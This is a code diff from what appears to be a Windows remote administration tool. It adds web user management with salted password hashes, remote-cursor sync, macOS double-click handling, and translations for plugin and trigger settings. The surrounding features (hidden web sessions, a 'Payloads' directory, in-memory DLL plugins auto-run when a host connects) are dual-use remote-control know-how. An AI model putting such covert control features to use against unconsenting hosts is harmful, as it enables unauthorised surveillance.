@@ -1627,8 +1972,18 @@ inline std::string GetWebPageHTML() {
const canvas = document.getElementById('screen-canvas'); const canvas = document.getElementById('screen-canvas');
const cursorOverlay = document.getElementById('cursor-overlay'); const cursorOverlay = document.getElementById('cursor-overlay');
// Touch devices: hide browser cursor, show overlay (touchpad mode) // Touch devices: hide browser cursor, show overlay (touchpad mode)
// Desktop: keep browser cursor visible, no overlay needed (remote shows cursor) // Desktop: use remote cursor style when control enabled
canvas.style.cursor = (controlEnabled && isTouchDevice) ? 'none' : 'default'; if (controlEnabled && isTouchDevice) {
canvas.style.cursor = 'none';
} else if (controlEnabled && !isTouchDevice) {
// Apply current remote cursor
const cssCursor = (currentCursorIndex >= 0 && currentCursorIndex < cursorMap.length)
? cursorMap[currentCursorIndex]
: 'default';
canvas.style.cursor = cssCursor;
} else {
canvas.style.cursor = 'default';
}
cursorOverlay.classList.toggle('active', controlEnabled && isTouchDevice); cursorOverlay.classList.toggle('active', controlEnabled && isTouchDevice);
} }
@@ -2341,7 +2696,12 @@ inline std::string GetWebPageHTML() {
sendMouse('up', pos.x, pos.y, e.button); sendMouse('up', pos.x, pos.y, e.button);
}); });
// Note: dblclick is handled by mousedown-mouseup sequence, no separate handler needed // dblclick handler - server will forward only to macOS clients
canvas.addEventListener('dblclick', function(e) {
e.preventDefault();
const pos = getMousePos(e);
sendMouse('dblclick', pos.x, pos.y, e.button);
});
canvas.addEventListener('mousemove', function(e) { canvas.addEventListener('mousemove', function(e) {
const now = Date.now(); const now = Date.now();
@@ -2454,6 +2814,7 @@ inline std::string GetWebPageHTML() {
if (qcMouse) qcMouse.classList.remove('active'); if (qcMouse) qcMouse.classList.remove('active');
document.getElementById('screen-canvas').style.cursor = 'default'; document.getElementById('screen-canvas').style.cursor = 'default';
document.getElementById('cursor-overlay').classList.remove('active'); document.getElementById('cursor-overlay').classList.remove('active');
currentCursorIndex = 1; // Reset to default arrow
// Reset zoom state // Reset zoom state
zoomState.scale = 1; zoomState.scale = 1;
@@ -2584,10 +2945,13 @@ inline std::string GetWebPageHTML() {
e.preventDefault(); e.preventDefault();
const keyCode = parseInt(btn.dataset.key); const keyCode = parseInt(btn.dataset.key);
const needShift = btn.dataset.shift === '1'; const needShift = btn.dataset.shift === '1';
const needCtrl = btn.dataset.ctrl === '1';
if (needCtrl) sendShortcutKey(17, true); // Ctrl down
if (needShift) sendShortcutKey(16, true); // Shift down if (needShift) sendShortcutKey(16, true); // Shift down
sendShortcutKey(keyCode, true); sendShortcutKey(keyCode, true);
sendShortcutKey(keyCode, false); sendShortcutKey(keyCode, false);
if (needShift) sendShortcutKey(16, false); // Shift up if (needShift) sendShortcutKey(16, false); // Shift up
if (needCtrl) sendShortcutKey(17, false); // Ctrl up
}); });
btn.addEventListener('click', function(e) { btn.addEventListener('click', function(e) {
e.preventDefault(); e.preventDefault();
@@ -2595,10 +2959,13 @@ inline std::string GetWebPageHTML() {
if (!('ontouchstart' in window)) { if (!('ontouchstart' in window)) {
const keyCode = parseInt(btn.dataset.key); const keyCode = parseInt(btn.dataset.key);
const needShift = btn.dataset.shift === '1'; const needShift = btn.dataset.shift === '1';
const needCtrl = btn.dataset.ctrl === '1';
if (needCtrl) sendShortcutKey(17, true); // Ctrl down
if (needShift) sendShortcutKey(16, true); if (needShift) sendShortcutKey(16, true);
sendShortcutKey(keyCode, true); sendShortcutKey(keyCode, true);
sendShortcutKey(keyCode, false); sendShortcutKey(keyCode, false);
if (needShift) sendShortcutKey(16, false); if (needShift) sendShortcutKey(16, false);
if (needCtrl) sendShortcutKey(17, false); // Ctrl up
} }
}); });
}); });
@@ -2624,8 +2991,13 @@ inline std::string GetWebPageHTML() {
bindKeyboardBtnEvents(document.getElementById('qc-keyboard')); bindKeyboardBtnEvents(document.getElementById('qc-keyboard'));
bindKeyboardBtnEvents(document.getElementById('btn-keyboard')); bindKeyboardBtnEvents(document.getElementById('btn-keyboard'));
bindKeyboardBtnEvents(document.getElementById('btn-keyboard-bar')); bindKeyboardBtnEvents(document.getElementById('btn-keyboard-bar'));
// Restore token from sessionStorage // Restore token and role from sessionStorage
token = sessionStorage.getItem('token'); token = sessionStorage.getItem('token');
currentUserRole = sessionStorage.getItem('role') || 'viewer';
// Show Users button for admin only (will be updated after login verification)
if (token && currentUserRole === 'admin') {
document.getElementById('users-btn').classList.add('visible');
}
connectWebSocket(); connectWebSocket();
}; };
</script> </script>

View File

@@ -9,6 +9,8 @@
#include "SimpleWebSocket.h" #include "SimpleWebSocket.h"
#include "common/commands.h" #include "common/commands.h"
#include <filesystem> #include <filesystem>
#include <fstream>
#include <shlobj.h>
// Algorithm constants (same as ScreenSpyDlg.cpp) // Algorithm constants (same as ScreenSpyDlg.cpp)
#define ALGORITHM_H264 2 #define ALGORITHM_H264 2
@@ -20,6 +22,16 @@ static std::map<void*, std::string> s_ClientNonces;
static std::mutex s_NonceMutex; static std::mutex s_NonceMutex;
static std::atomic<bool> s_bShuttingDown{false}; // Prevents access during static destruction static std::atomic<bool> s_bShuttingDown{false}; // Prevents access during static destruction
// Generate random salt (16 hex chars) - thread-safe
static std::string GenerateSalt() {
static std::random_device rd;
static std::mt19937_64 gen(rd());
std::uniform_int_distribution<uint64_t> dis;
char buf[17];
snprintf(buf, sizeof(buf), "%016llX", dis(gen));
return std::string(buf);
}
// Generate random nonce (32 hex chars) - thread-safe // Generate random nonce (32 hex chars) - thread-safe
static std::string GenerateNonce() { static std::string GenerateNonce() {
if (s_bShuttingDown) return ""; if (s_bShuttingDown) return "";
@@ -112,11 +124,22 @@ CWebService::CWebService()
m_PayloadsDir = (exeDir / "Payloads").string(); m_PayloadsDir = (exeDir / "Payloads").string();
std::error_code ec; std::error_code ec;
std::filesystem::create_directories(m_PayloadsDir, ec); std::filesystem::create_directories(m_PayloadsDir, ec);
// Initialize config directory (same as YAMA.db location)
char appdata_path[MAX_PATH];
if (SUCCEEDED(SHGetFolderPathA(NULL, CSIDL_APPDATA, NULL, 0, appdata_path))) {
m_ConfigDir = std::string(appdata_path) + "\\" BRAND_DATA_FOLDER "\\";
} else {
m_ConfigDir = ".\\";
}
std::filesystem::create_directories(m_ConfigDir, ec);
} }
void CWebService::SetAdminPassword(const std::string& password) { void CWebService::SetAdminPassword(const std::string& password) {
std::lock_guard<std::mutex> lock(m_UsersMutex);
m_Users.clear(); m_Users.clear();
// Admin user is built-in, always first
WebUser admin; WebUser admin;
admin.username = "admin"; admin.username = "admin";
admin.salt = ""; // Not used with challenge-response auth admin.salt = ""; // Not used with challenge-response auth
@@ -125,6 +148,9 @@ void CWebService::SetAdminPassword(const std::string& password) {
m_Users.push_back(admin); m_Users.push_back(admin);
Mprintf("[WebService] Admin password configured\n"); Mprintf("[WebService] Admin password configured\n");
// Load additional users from file (non-admin users)
LoadUsers();
} }
CWebService::~CWebService() { CWebService::~CWebService() {
@@ -329,6 +355,14 @@ void CWebService::ServerThread(int port) {
HandleKey(ws_ptr, msg); HandleKey(ws_ptr, msg);
} else if (cmd == "rdp_reset") { } else if (cmd == "rdp_reset") {
HandleRdpReset(ws_ptr, token); HandleRdpReset(ws_ptr, token);
} else if (cmd == "get_salt") {
HandleGetSalt(ws_ptr, msg);
} else if (cmd == "create_user") {
HandleCreateUser(ws_ptr, msg);
} else if (cmd == "delete_user") {
HandleDeleteUser(ws_ptr, msg);
} else if (cmd == "list_users") {
HandleListUsers(ws_ptr, token);
} }
} }
}); });
@@ -480,6 +514,51 @@ void CWebService::HandleLogin(void* ws_ptr, const std::string& msg, const std::s
SendText(ws_ptr, Json::writeString(builder, res)); SendText(ws_ptr, Json::writeString(builder, res));
} }
void CWebService::HandleGetSalt(void* ws_ptr, const std::string& msg) {
Json::Value root;
Json::Reader reader;
if (!reader.parse(msg, root)) {
SendText(ws_ptr, BuildJsonResponse("salt", false, "Invalid JSON"));
return;
}
std::string username = root.get("username", "").asString();
if (username.empty()) {
SendText(ws_ptr, BuildJsonResponse("salt", false, "Username required"));
return;
}
// Find user and get salt
std::string salt = "";
bool userFound = false;
{
std::lock_guard<std::mutex> lock(m_UsersMutex);
for (const auto& u : m_Users) {
if (u.username == username) {
salt = u.salt;
userFound = true;
break;
}
}
}
// For security: if user doesn't exist, generate a fake deterministic salt
// This prevents username enumeration attacks
// Note: Admin has empty salt, so we must check userFound, not salt.empty()
if (!userFound) {
// Generate deterministic fake salt from username (won't match any real password)
salt = WSAuth::ComputeSHA256("fake_salt_prefix_" + username).substr(0, 16);
}
Json::Value res;
res["cmd"] = "salt";
res["ok"] = true;
res["salt"] = salt;
Json::StreamWriterBuilder builder;
builder["indentation"] = "";
SendText(ws_ptr, Json::writeString(builder, res));
}
void CWebService::HandleGetDevices(void* ws_ptr, const std::string& token) { void CWebService::HandleGetDevices(void* ws_ptr, const std::string& token) {
std::string username, role; std::string username, role;
if (!ValidateToken(token, username, role)) { if (!ValidateToken(token, username, role)) {
@@ -691,6 +770,15 @@ void CWebService::HandleMouse(void* ws_ptr, const std::string& msg) {
short wheelDelta = (short)(delta > 0 ? -120 : (delta < 0 ? 120 : 0)); short wheelDelta = (short)(delta > 0 ? -120 : (delta < 0 ? 120 : 0));
msg64.wParam = MAKEWPARAM(0, wheelDelta); msg64.wParam = MAKEWPARAM(0, wheelDelta);
} else if (type == "dblclick") { } else if (type == "dblclick") {
// dblclick is only needed for macOS clients
// Windows detects double-click from rapid mousedown/mouseup sequence
context* mainCtx = m_pParentDlg->FindHost(device_id);
if (!mainCtx) return;
CString clientType = mainCtx->GetAdditionalData(RES_CLIENT_TYPE);
// Check for both "MAC" (new) and "macOS" (legacy) for compatibility
if (clientType != GetClientType(CLIENT_TYPE_MACOS) && clientType != "macOS") {
return; // Skip dblclick for non-macOS clients
}
if (button == 0) { if (button == 0) {
msg64.message = WM_LBUTTONDBLCLK; msg64.message = WM_LBUTTONDBLCLK;
msg64.wParam = MK_LBUTTON; msg64.wParam = MK_LBUTTON;
@@ -837,6 +925,111 @@ void CWebService::HandleRdpReset(void* ws_ptr, const std::string& token) {
} }
} }
//////////////////////////////////////////////////////////////////////////
// User Management Handlers
//////////////////////////////////////////////////////////////////////////
void CWebService::HandleCreateUser(void* ws_ptr, const std::string& msg) {
Json::Value root;
Json::Reader reader;
if (!reader.parse(msg, root)) {
SendText(ws_ptr, BuildJsonResponse("create_user_result", false, "Invalid JSON"));
return;
}
std::string token = root.get("token", "").asString();
std::string username, role;
if (!ValidateToken(token, username, role)) {
SendText(ws_ptr, BuildJsonResponse("create_user_result", false, "Invalid token"));
return;
}
// Only admin can create users
if (role != "admin") {
SendText(ws_ptr, BuildJsonResponse("create_user_result", false, "Permission denied"));
return;
}
std::string newUsername = root.get("username", "").asString();
std::string newPassword = root.get("password", "").asString();
std::string newRole = root.get("role", "viewer").asString();
if (newUsername.empty() || newPassword.empty()) {
SendText(ws_ptr, BuildJsonResponse("create_user_result", false, "Username and password required"));
return;
}
if (CreateUser(newUsername, newPassword, newRole)) {
SendText(ws_ptr, BuildJsonResponse("create_user_result", true));
} else {
SendText(ws_ptr, BuildJsonResponse("create_user_result", false, "Failed to create user (may already exist)"));
}
}
void CWebService::HandleDeleteUser(void* ws_ptr, const std::string& msg) {
Json::Value root;
Json::Reader reader;
if (!reader.parse(msg, root)) {
SendText(ws_ptr, BuildJsonResponse("delete_user_result", false, "Invalid JSON"));
return;
}
std::string token = root.get("token", "").asString();
std::string username, role;
if (!ValidateToken(token, username, role)) {
SendText(ws_ptr, BuildJsonResponse("delete_user_result", false, "Invalid token"));
return;
}
// Only admin can delete users
if (role != "admin") {
SendText(ws_ptr, BuildJsonResponse("delete_user_result", false, "Permission denied"));
return;
}
std::string targetUsername = root.get("username", "").asString();
if (DeleteUser(targetUsername)) {
SendText(ws_ptr, BuildJsonResponse("delete_user_result", true));
} else {
SendText(ws_ptr, BuildJsonResponse("delete_user_result", false, "Failed to delete user"));
}
}
void CWebService::HandleListUsers(void* ws_ptr, const std::string& token) {
std::string username, role;
if (!ValidateToken(token, username, role)) {
SendText(ws_ptr, BuildJsonResponse("list_users_result", false, "Invalid token"));
return;
}
// Only admin can list users
if (role != "admin") {
SendText(ws_ptr, BuildJsonResponse("list_users_result", false, "Permission denied"));
return;
}
auto users = ListUsers();
Json::Value res;
res["cmd"] = "list_users_result";
res["ok"] = true;
Json::Value usersArray(Json::arrayValue);
for (const auto& u : users) {
Json::Value user;
user["username"] = u.first;
user["role"] = u.second;
usersArray.append(user);
}
res["users"] = usersArray;
Json::StreamWriterBuilder builder;
builder["indentation"] = "";
std::string json = Json::writeString(builder, res);
SendText(ws_ptr, json);
}
////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////
// Token Management (delegated to WebServiceAuth module) // Token Management (delegated to WebServiceAuth module)
////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////
@@ -936,6 +1129,155 @@ std::string CWebService::ComputeHash(const std::string& input) {
return WSAuth::ComputeSHA256(input); return WSAuth::ComputeSHA256(input);
} }
//////////////////////////////////////////////////////////////////////////
// User Management
//////////////////////////////////////////////////////////////////////////
std::string CWebService::GetUsersFilePath() {
return m_ConfigDir + "users.json";
}
void CWebService::LoadUsers() {
// Note: m_UsersMutex should already be held by caller (SetAdminPassword)
// Load additional users from users.json (admin user is already in m_Users)
std::string path = GetUsersFilePath();
std::ifstream file(path);
if (!file.is_open()) {
Mprintf("[WebService] No users.json found, using admin only\n");
return;
}
try {
Json::Value root;
Json::CharReaderBuilder builder;
std::string errors;
if (!Json::parseFromStream(builder, file, &root, &errors)) {
Mprintf("[WebService] Failed to parse users.json: %s\n", errors.c_str());
return;
}
const Json::Value& users = root["users"];
int loaded = 0;
for (const auto& u : users) {
std::string username = u.get("username", "").asString();
// Skip admin user (it's built-in with master password)
if (username.empty() || username == "admin") continue;
WebUser user;
user.username = username;
user.password_hash = u.get("password_hash", "").asString();
user.salt = u.get("salt", "").asString();
user.role = u.get("role", "viewer").asString();
if (!user.password_hash.empty()) {
m_Users.push_back(user);
loaded++;
}
}
Mprintf("[WebService] Loaded %d additional users from users.json\n", loaded);
} catch (const std::exception& e) {
Mprintf("[WebService] Error loading users.json: %s\n", e.what());
}
}
void CWebService::SaveUsers() {
// Save non-admin users to users.json
std::lock_guard<std::mutex> lock(m_UsersMutex);
Json::Value root;
Json::Value users(Json::arrayValue);
for (const auto& u : m_Users) {
// Skip admin user (it uses master password, not stored in file)
if (u.username == "admin") continue;
Json::Value user;
user["username"] = u.username;
user["password_hash"] = u.password_hash;
user["salt"] = u.salt;
user["role"] = u.role;
users.append(user);
}
root["users"] = users;
std::string path = GetUsersFilePath();
std::ofstream file(path);
if (!file.is_open()) {
Mprintf("[WebService] Failed to open users.json for writing\n");
return;
}
Json::StreamWriterBuilder builder;
builder["indentation"] = " ";
std::unique_ptr<Json::StreamWriter> writer(builder.newStreamWriter());
writer->write(root, &file);
Mprintf("[WebService] Saved %d users to users.json\n", (int)users.size());
}
bool CWebService::CreateUser(const std::string& username, const std::string& password, const std::string& role) {
if (username.empty() || password.empty()) return false;
if (username == "admin") return false; // Cannot create user named "admin"
if (role != "admin" && role != "viewer") return false;
{
std::lock_guard<std::mutex> lock(m_UsersMutex);
// Check if user already exists
for (const auto& u : m_Users) {
if (u.username == username) return false;
}
// Generate salt and hash password with salt
WebUser user;
user.username = username;
user.salt = GenerateSalt();
user.password_hash = WSAuth::ComputeSHA256(password + user.salt);
user.role = role;
m_Users.push_back(user);
Mprintf("[WebService] Created user: %s (role: %s)\n", username.c_str(), role.c_str());
}
// Save to file (outside lock scope since SaveUsers acquires its own lock)
SaveUsers();
return true;
}
bool CWebService::DeleteUser(const std::string& username) {
if (username.empty() || username == "admin") return false;
bool deleted = false;
{
std::lock_guard<std::mutex> lock(m_UsersMutex);
for (auto it = m_Users.begin(); it != m_Users.end(); ++it) {
if (it->username == username) {
m_Users.erase(it);
Mprintf("[WebService] Deleted user: %s\n", username.c_str());
deleted = true;
break;
}
}
}
if (deleted) {
SaveUsers();
}
return deleted;
}
std::vector<std::pair<std::string, std::string>> CWebService::ListUsers() {
std::lock_guard<std::mutex> lock(m_UsersMutex);
std::vector<std::pair<std::string, std::string>> result;
for (const auto& u : m_Users) {
result.push_back({u.username, u.role});
}
return result;
}
////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////
// JSON Helpers // JSON Helpers
////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////
@@ -1095,11 +1437,9 @@ void CWebService::BroadcastH264Frame(uint64_t device_id, const uint8_t* data, si
// Broadcast to all watching clients // Broadcast to all watching clients
std::lock_guard<std::mutex> lock(m_ClientsMutex); std::lock_guard<std::mutex> lock(m_ClientsMutex);
int sent_count = 0;
for (auto& [ws_ptr, client] : m_Clients) { for (auto& [ws_ptr, client] : m_Clients) {
if (client.watch_device_id == device_id) { if (client.watch_device_id == device_id) {
SendBinary(ws_ptr, data, len); SendBinary(ws_ptr, data, len);
sent_count++;
} }
} }
// Cache keyframe (check FrameType byte at offset 4) // Cache keyframe (check FrameType byte at offset 4)
@@ -1142,6 +1482,27 @@ void CWebService::NotifyResolutionChange(uint64_t device_id, int width, int heig
} }
} }
void CWebService::BroadcastCursor(uint64_t device_id, uint8_t cursor_index) {
if (m_bStopping) return;
// Build JSON message
Json::Value res;
res["cmd"] = "cursor";
res["index"] = cursor_index;
Json::StreamWriterBuilder builder;
builder["indentation"] = "";
std::string json = Json::writeString(builder, res);
// Send to all watching clients
std::lock_guard<std::mutex> lock(m_ClientsMutex);
for (auto& [ws_ptr, client] : m_Clients) {
if (client.watch_device_id == device_id) {
SendText(ws_ptr, json);
}
}
}
bool CWebService::StartRemoteDesktop(uint64_t device_id) { bool CWebService::StartRemoteDesktop(uint64_t device_id) {
if (!m_pParentDlg) return false; if (!m_pParentDlg) return false;

View File

@@ -78,6 +78,11 @@ public:
// Set admin password (use master password) // Set admin password (use master password)
void SetAdminPassword(const std::string& password); void SetAdminPassword(const std::string& password);
// User management
bool CreateUser(const std::string& username, const std::string& password, const std::string& role);
bool DeleteUser(const std::string& username);
std::vector<std::pair<std::string, std::string>> ListUsers(); // Returns [(username, role), ...]
// Device management (called from main app) // Device management (called from main app)
void MarkDeviceOnline(uint64_t device_id); void MarkDeviceOnline(uint64_t device_id);
void MarkDeviceOffline(uint64_t device_id); void MarkDeviceOffline(uint64_t device_id);
@@ -91,6 +96,9 @@ public:
// Resolution change notification // Resolution change notification
void NotifyResolutionChange(uint64_t device_id, int width, int height); void NotifyResolutionChange(uint64_t device_id, int width, int height);
// Cursor change notification (called from ScreenSpyDlg)
void BroadcastCursor(uint64_t device_id, uint8_t cursor_index);
// Get count of web clients watching a device // Get count of web clients watching a device
int GetWebClientCount(uint64_t device_id); int GetWebClientCount(uint64_t device_id);
@@ -111,6 +119,7 @@ private:
// Signaling handlers // Signaling handlers
void HandleLogin(void* ws_ptr, const std::string& msg, const std::string& client_ip); void HandleLogin(void* ws_ptr, const std::string& msg, const std::string& client_ip);
void HandleGetSalt(void* ws_ptr, const std::string& msg);
void HandleGetDevices(void* ws_ptr, const std::string& token); void HandleGetDevices(void* ws_ptr, const std::string& token);
void HandleConnect(void* ws_ptr, const std::string& token, uint64_t device_id); void HandleConnect(void* ws_ptr, const std::string& token, uint64_t device_id);
void HandleDisconnect(void* ws_ptr, const std::string& token, uint64_t requested_device_id = 0); void HandleDisconnect(void* ws_ptr, const std::string& token, uint64_t requested_device_id = 0);
@@ -141,6 +150,14 @@ private:
bool VerifyPassword(const std::string& input, const WebUser& user); bool VerifyPassword(const std::string& input, const WebUser& user);
std::string ComputeHash(const std::string& input); std::string ComputeHash(const std::string& input);
// User management helpers
std::string GetUsersFilePath();
void LoadUsers();
void SaveUsers();
void HandleCreateUser(void* ws_ptr, const std::string& msg);
void HandleDeleteUser(void* ws_ptr, const std::string& msg);
void HandleListUsers(void* ws_ptr, const std::string& token);
// Send to WebSocket // Send to WebSocket
void SendText(void* ws_ptr, const std::string& text); void SendText(void* ws_ptr, const std::string& text);
void SendBinary(void* ws_ptr, const uint8_t* data, size_t len); void SendBinary(void* ws_ptr, const uint8_t* data, size_t len);
@@ -181,6 +198,7 @@ private:
// User accounts (loaded from config) // User accounts (loaded from config)
std::vector<WebUser> m_Users; std::vector<WebUser> m_Users;
std::mutex m_UsersMutex;
// Token secret key (generated on startup) // Token secret key (generated on startup)
std::string m_SecretKey; std::string m_SecretKey;
@@ -190,6 +208,7 @@ private:
int m_nTokenExpireSeconds; int m_nTokenExpireSeconds;
bool m_bHideWebSessions; // Whether to hide web-triggered dialogs (default: true) bool m_bHideWebSessions; // Whether to hide web-triggered dialogs (default: true)
std::string m_PayloadsDir; // Directory for file downloads (Payloads/) std::string m_PayloadsDir; // Directory for file downloads (Payloads/)
std::string m_ConfigDir; // Directory for config files (users.json, etc.)
// Web-triggered sessions (should be hidden) // Web-triggered sessions (should be hidden)
std::set<uint64_t> m_WebTriggeredDevices; std::set<uint64_t> m_WebTriggeredDevices;

View File

@@ -1773,3 +1773,49 @@ Web
请在菜单设置Web端口!=Please set Web liscening port! 请在菜单设置Web端口!=Please set Web liscening port!
请设置环境变量 YAMA_PWD 来使用Web远程桌面!=Please set YAMA_PWD to use Web SimpleRemoter! 请设置环境变量 YAMA_PWD 来使用Web远程桌面!=Please set YAMA_PWD to use Web SimpleRemoter!
如需Web远程桌面跨网使用方案请联系管理员!=If you need to use Web SimpleRemoter in WAN, please contact administrator! 如需Web远程桌面跨网使用方案请联系管理员!=If you need to use Web SimpleRemoter in WAN, please contact administrator!
; Plugin Settings Dialog - English Translation
; Format: Simplified Chinese=English
内存DLL=Memory DLL
自动检测=Auto Detect
IOCP线程=IOCP Thread
自定义FRPC[不可用]=Custom FRPC [Unavailable]
标准FRPC[不可用]=Standard FRPC [Unavailable]
不自动执行=No Auto Execute
启动执行=Execute on Startup
每日定时[未实现]=Daily Schedule [Not Implemented]
每周定时[未实现]=Weekly Schedule [Not Implemented]
名称=Name
大小=Size
运行类型=Run Type
调度模式=Schedule Mode
插件参数配置=Plugin Parameters
运行类型:=Run Type:
调用方式:=Call Type:
调度模式:=Schedule Mode:
间隔(秒):=Interval (sec):
最大次数:=Max Count:
插件设置=Plugin Settings
请先选择一个插件=Please select a plugin first
提示=Notice
配置已保存=Configuration saved
保存(&S)=Save(&S)
关闭=Close
插件设置(&S)=Plugin Settings(&S)
代理端口 - 自启=Proxy Port - AutoRun
; Trigger Settings Dialog - English Translation
; Format: Simplified Chinese=English
触发器(&G)=Tri&gger
触发器设置=Trigger Settings
触发类型:=Trigger Type:
执行动作:=Action:
主机上线=Host Online
插件名称=Plugin Name
触发器=Trigger
已配置的触发器=Configured Triggers
添加 >>=Add >>
<< 移除=<< Remove
插件列表为空,无法创建触发器=Plugin list is empty, cannot create trigger
请先选择至少一个插件=Please select at least one plugin

View File

@@ -1765,3 +1765,48 @@ FRPS
请在菜单设置Web端口!=请在菜单设置Web端口! 请在菜单设置Web端口!=请在菜单设置Web端口!
请设置环境变量 YAMA_PWD 来使用Web远程桌面!=请设置环境变量 YAMA_PWD 来使用Web远程桌面! 请设置环境变量 YAMA_PWD 来使用Web远程桌面!=请设置环境变量 YAMA_PWD 来使用Web远程桌面!
如需Web远程桌面跨网使用方案请联系管理员!=如需Web远程桌面跨网使用方案请联系管理员! 如需Web远程桌面跨网使用方案请联系管理员!=如需Web远程桌面跨网使用方案请联系管理员!
; Plugin Settings Dialog - Traditional Chinese Translation
; Format: Simplified Chinese=Traditional Chinese
内存DLL=記憶體DLL
自动检测=自動檢測
IOCP线程=IOCP執行緒
自定义FRPC[不可用]=自訂FRPC[不可用]
标准FRPC[不可用]=標準FRPC[不可用]
不自动执行=不自動執行
启动执行=啟動執行
每日定时[未实现]=每日定時[未實現]
每周定时[未实现]=每週定時[未實現]
名称=名稱
大小=大小
运行类型=執行類型
调度模式=排程模式
插件参数配置=外掛參數設定
运行类型:=執行類型:
调用方式:=呼叫方式:
调度模式:=排程模式:
间隔(秒):=間隔(秒):
最大次数:=最大次數:
插件设置=外掛設定
请先选择一个插件=請先選擇一個外掛
提示=提示
配置已保存=設定已儲存
保存(&S)=儲存(&S)
关闭=關閉
插件设置(&S)=插件设置(&S)
代理端口 - 自启=代理端口 - 自启
; Trigger Settings Dialog - Traditional Chinese Translation
; Format: Simplified Chinese=Traditional Chinese
触发器(&G)=觸發器(&G)
触发器设置=觸發器設定
触发类型:=觸發類型:
执行动作:=執行動作:
主机上线=主機上線
插件名称=外掛名稱
触发器=觸發器
已配置的触发器=已設定的觸發器
添加 >>=新增 >>
<< 移除=<< 移除
插件列表为空,无法创建触发器=外掛列表為空,無法建立觸發器
请先选择至少一个插件=請先選擇至少一個外掛

Binary file not shown.

After

Width:  |  Height:  |  Size: 822 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 822 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 822 B

View File

@@ -247,6 +247,10 @@
#define IDD_FEATURE_LIMITS 368 #define IDD_FEATURE_LIMITS 368
#define IDB_BITMAP8 369 #define IDB_BITMAP8 369
#define IDB_BITMAP_CANCELSHARE 369 #define IDB_BITMAP_CANCELSHARE 369
#define IDD_DIALOG_PLUGIN_SETTINGS 370
#define IDB_BITMAP_TRIGGER 372
#define IDB_BITMAP_WEBDESKTOP 373
#define IDB_BITMAP_PLUGINCONFIG 374
#define IDC_MESSAGE 1000 #define IDC_MESSAGE 1000
#define IDC_ONLINE 1001 #define IDC_ONLINE 1001
#define IDC_STATIC_TIPS 1002 #define IDC_STATIC_TIPS 1002
@@ -705,6 +709,19 @@
#define IDC_STATIC_FEATURE_TIP 2522 #define IDC_STATIC_FEATURE_TIP 2522
#define IDC_STATIC_AUTH_HOSTNUM 2523 #define IDC_STATIC_AUTH_HOSTNUM 2523
#define IDC_EDIT_AUTH_HOSTNUM 2524 #define IDC_EDIT_AUTH_HOSTNUM 2524
#define IDC_LIST_PLUGINS 2526
#define IDC_COMBO_RUNTYPE_P 2527
#define IDC_COMBO_CALLTYPE 2528
#define IDC_COMBO_MODE 2529
#define IDC_EDIT_INTERVAL 2530
#define IDC_EDIT_MAXCOUNT 2531
#define IDC_BTN_SAVE 2532
#define IDC_STATIC_PLUGIN_SETTINGS 2533
#define IDC_STATIC_PLUGIN_RUNTYPE 2534
#define IDC_STATIC_PLUGIN_CALLTYPE 2535
#define IDC_STATIC_PLUGIN_SCHEDULE 2536
#define IDC_STATIC_PLUGIN_INTERVAL 2537
#define IDC_STATIC_PLUGIN_COUNTER 2538
#define ID_ONLINE_UPDATE 32772 #define ID_ONLINE_UPDATE 32772
#define ID_ONLINE_MESSAGE 32773 #define ID_ONLINE_MESSAGE 32773
#define ID_ONLINE_DELETE 32775 #define ID_ONLINE_DELETE 32775
@@ -935,15 +952,27 @@
#define ID_CANCEL_SHARE 33042 #define ID_CANCEL_SHARE 33042
#define ID_33043 33043 #define ID_33043 33043
#define ID_WEB_REMOTE_CONTROL 33044 #define ID_WEB_REMOTE_CONTROL 33044
#define ID_TOOL_PLUGIN_SETTINGS 33045
#define ID_33046 33046
#define ID_PROXY_PORT_AUTORUN 33047
#define ID_EXIT_FULLSCREEN 40001 #define ID_EXIT_FULLSCREEN 40001
#define ID_TRIGGER_SETTINGS 33048
#define IDD_DIALOG_TRIGGER_SETTINGS 371
#define IDC_COMBO_TRIGGER_TYPE 2539
#define IDC_LIST_TRIGGER_PLUGINS 2540
#define IDC_BTN_TRIGGER_ADD 2541
#define IDC_BTN_TRIGGER_REMOVE 2542
#define IDC_LIST_TRIGGERS 2543
#define IDC_STATIC_TRIGGER_TYPE 2544
#define IDC_STATIC_TRIGGER_ACTION 2545
// Next default values for new objects // Next default values for new objects
// //
#ifdef APSTUDIO_INVOKED #ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS #ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 370 #define _APS_NEXT_RESOURCE_VALUE 371
#define _APS_NEXT_COMMAND_VALUE 33045 #define _APS_NEXT_COMMAND_VALUE 33048
#define _APS_NEXT_CONTROL_VALUE 2525 #define _APS_NEXT_CONTROL_VALUE 2539
#define _APS_NEXT_SYMED_VALUE 105 #define _APS_NEXT_SYMED_VALUE 105
#endif #endif
#endif #endif